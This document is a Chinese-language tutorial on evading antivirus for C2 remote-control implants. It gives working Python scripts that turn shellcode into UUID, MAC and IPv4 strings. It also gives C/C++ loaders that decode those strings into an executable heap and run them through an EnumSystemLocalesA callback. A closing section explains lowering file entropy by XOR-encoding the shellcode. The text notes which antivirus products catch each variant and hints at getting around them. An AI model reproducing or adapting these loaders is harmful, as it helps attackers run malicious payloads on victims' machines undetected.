免杀对抗-C2远控篇CC++SC转换格式UUID标识MAC物理IPV4地址减少熵值

news2024/11/16 13:41:25

参考文章：

https://github.com/INotGreen/Bypass-AMSI
https://mp.weixin.qq.com/s/oJ8eHdX8HGuk6dZv0kmFxg
https://kyxiaxiang.github.io/2022/12/14/AMSIandEtw
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

文章参考：

https://www.anquanke.com/post/id/262666

C/C++内存加载-UUID方式-ShellCode转换

通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符，根据标准方法生成，不依赖中央机构的注册和分配，UUID具有唯一性。

1、先用python代码将shellcode转换成uuid值
2、命令python u.py payload.bin

from uuid import UUID
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1)
with open(sys.argv[1], "rb") as f:
    chunk = f.read(16)
    print("{}const char* uuids[] =".format(' '*4))
    print(" {")
    while chunk:
        if len(chunk) < 16:
            padding = 16 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))
            break
        print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))
        chunk = f.read(16)
    print(" };")

3、将uuid值填入const char* uuids[] = { “xxx” };

#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;

const char* uuids[] = { "xxx" };


int main() {
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	printf("%p\n", hmem);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	int init = sizeof(uuids) / sizeof(uuids[0]);
	for (int i = 0; i < init; i++) {
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
		if (status != RPC_S_OK) {
			printf("UuidFromStringA != RPC_S_OK\n");
			CloseHandle(hmem);
			return -1;
		}
		ptr += 16;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < init * 16; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
		//((unsigned char*)hmem)[i] ^= 0x39;
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
}

4、生成文件exe，可以上线，但是杀软被杀
火绒分离uuid
360 检测UuidFromStringA 使用动态api hook

先使用工具studype查看导出表
在这里插入图片描述

UuidFromStringA函数在RPCRT4.dll里面

C/C++内存加载-MAC方式-ShellCode转换

MAC地址也叫物理地址、硬件地址，由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片，通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的，IP地址是32位的，而MAC地址则是48位（6个字节）的。

from macaddress import MAC
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1)
with open(sys.argv[1], "rb") as f:
    chunk = f.read(6)
    print("{}const char* MAC[] =".format(' '*4))
    print(" {")
    while chunk:
        if len(chunk) < 6:
            padding = 6 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,MAC(chunk)))
            break

        print("{}\"{}\",".format(' '*8,MAC(chunk)))
        chunk = f.read(6)
    print(" };")

#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)

int Error(const char* msg) {
	printf("%s (%u)", msg, GetLastError());
	return 1;
}
int main() {
    const char* MAC[] =
    {
         xxxx
    };
	int rowLen = sizeof(MAC) / sizeof(MAC[0]);
	PCSTR Terminator = NULL;
	DL_EUI48* LpBaseAddress2 = NULL;
	NTSTATUS STATUS;
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	for (int i = 0; i < rowLen; i++) {
		STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator,
			(DL_EUI48*)ptr);
		if (!NT_SUCCESS(STATUS)) {
			printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)", MAC[i], STATUS, GetLastError());
			return FALSE;
		}
		ptr += 6;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < 6 * rowLen; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
}

C/C++内存加载-IPV4方式-ShellCode转换

IPv4是一种无连接的协议，操作在使用分组交换的链路层（如以太网）上。此协议会尽最大努力交付数据包，意即它不保证任何数据包均能送达目的地，也不保证所有数据包均按照正确的顺序无重复地到达。IPv4使用32位（4字节）地址。

1、先用python代码将shellcode转换成ipv4值
2、命令python u.py payload.bin

from ipaddress import ip_address
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1)
with open(sys.argv[1], "rb") as f:
    chunk = f.read(4)
    print("{}const char* IPv4s[] =".format(' '*4))
    print(" {")
    while chunk:
        if len(chunk) < 4:
            padding = 4 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,ip_address(chunk)))
            break
        print("{}\"{}\",".format(' '*8,ip_address(chunk)))
        chunk = f.read(4)
    print(" };")

3、将uuid值填入 const char* IPv4s[] =};

#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

int main() {
    const char* IPv4s[] =
    {
           xxxxxx
    };
    

    PCSTR Terminator = NULL;
    PVOID LpBaseAddress = NULL;
    PVOID LpBaseAddress2 = NULL;
    NTSTATUS STATUS;
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* hmem = HeapAlloc(hHeap, 0, 0x1000);
    DWORD_PTR ptr = (DWORD_PTR)hmem;
    int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)IPv4s[i], FALSE,
            &Terminator, (in_addr*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",
                IPv4s[i], STATUS, GetLastError());
            return FALSE;
        }
        ptr += 4;
    }
    printf("[+] HexDump: \n");
    for (int i = 0; i < init * 4; i++) {
        printf("%02X ", ((unsigned char*)hmem)[i]);
    }
    EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
    CloseHandle(hmem);
    return 0;
}

熵和恶意软件

恶意软件会采取许多策略和技巧来从 AV 引擎的扫描中隐藏恶意软件。像shellcode加密，函数调用混淆之类的东西，像这种技术本质上是在加密和压缩数据，因此提高了数据的不可预测性/无序性，也就是提高了熵。所以我们可以根据熵值捕获文件，熵越大，数据就越有可能被混淆或加密，文件也就越有可能是恶意的，熵是一种简单有效的检测技术，但并不能完全识别所有恶意代码。因此，杀毒软件通常使用熵作为其他技术的补充，以更好地识别潜在的威胁。

1、识别项目：
https://github.com/langsasec/File-Entropy-Calculator
2、如何降低熵值：

使用uuid代码
先把shellcode使用ueditor 进行0x66异或
使用python脚本生成uuid值
脚本如下：

#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;

const char* uuids[] =
{xxxxx
};


int main() {
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	printf("%p\n", hmem);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	int init = sizeof(uuids) / sizeof(uuids[0]);
	for (int i = 0; i < init; i++) {
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
		if (status != RPC_S_OK) {
			printf("UuidFromStringA != RPC_S_OK\n");
			CloseHandle(hmem);
			return -1;
		}
		ptr += 16;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < init * 16; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
		((unsigned char*)hmem)[i] ^= 0x66;
        printf("[+] HexDump: \n");
		printf("%02X ", ((unsigned char*)hmem)[i]);
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
}